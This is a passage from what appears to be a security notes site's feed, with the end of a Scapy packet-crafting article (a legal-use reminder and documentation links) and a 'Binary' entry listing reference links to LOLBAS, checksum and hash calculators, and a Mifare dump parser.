<li><strong>Legal use</strong>: generate traffic only in controlled environments or with explicit permission.</li>
</ul>
<p>Scapy is more than a library - it’s a <strong>traffic construction toolkit</strong>. It lets you learn protocols hands-on, test infrastructure, emulate attacks, reproduce issues, and even build your own network tools.</p>
<h2 id="additional">Additional</h2>
<p>Scapy documentation: <a rel="external" href="https://scapy.readthedocs.io/en/latest/">https://scapy.readthedocs.io/en/latest/</a></p>
<p>Scapy Tutorial: WiFi Security: <a rel="external" href="https://www.cs.toronto.edu/~arnold/427/18s/427_18S/indepth/scapy_wifi/scapy_tut.html">https://www.cs.toronto.edu/~arnold/427/18s/427_18S/indepth/scapy_wifi/scapy_tut.html</a></p>
<p>Scapy on GitHub: <a rel="external" href="https://github.com/secdev/scapy">https://github.com/secdev/scapy</a></p>
Binary
2025-09-07T00:00:00+00:00
2025-09-07T00:00:00+00:00
Frekler
https://frekler.com/ai-red-teaming/notes/binary/
<p>LOLBAS
<a rel="external" href="https://lolbas-project.github.io">https://lolbas-project.github.io</a></p>
<p>Online Checksum Calculator
<a rel="external" href="https://www.scadacore.com/tools/programming-calculators/online-checksum-calculator/">https://www.scadacore.com/tools/programming-calculators/online-checksum-calculator/</a></p>
<p>CRC Calculator
<a rel="external" href="https://www.gigacalculator.com/calculators/crc-calculator.php">https://www.gigacalculator.com/calculators/crc-calculator.php</a></p>
<p>Online MD5 Hash Calculator
<a rel="external" href="https://md5calc.com/hash">https://md5calc.com/hash</a></p>
<p>Longitudinal Redundancy Check (LRC) Calculator
<a rel="external" href="https://en.metools.info/encoding/ecod127.html">https://en.metools.info/encoding/ecod127.html</a></p>
<p>Mifare dumps parser
<a rel="external" href="https://github.com/zhovner/mfdread">https://github.com/zhovner/mfdread</a></p>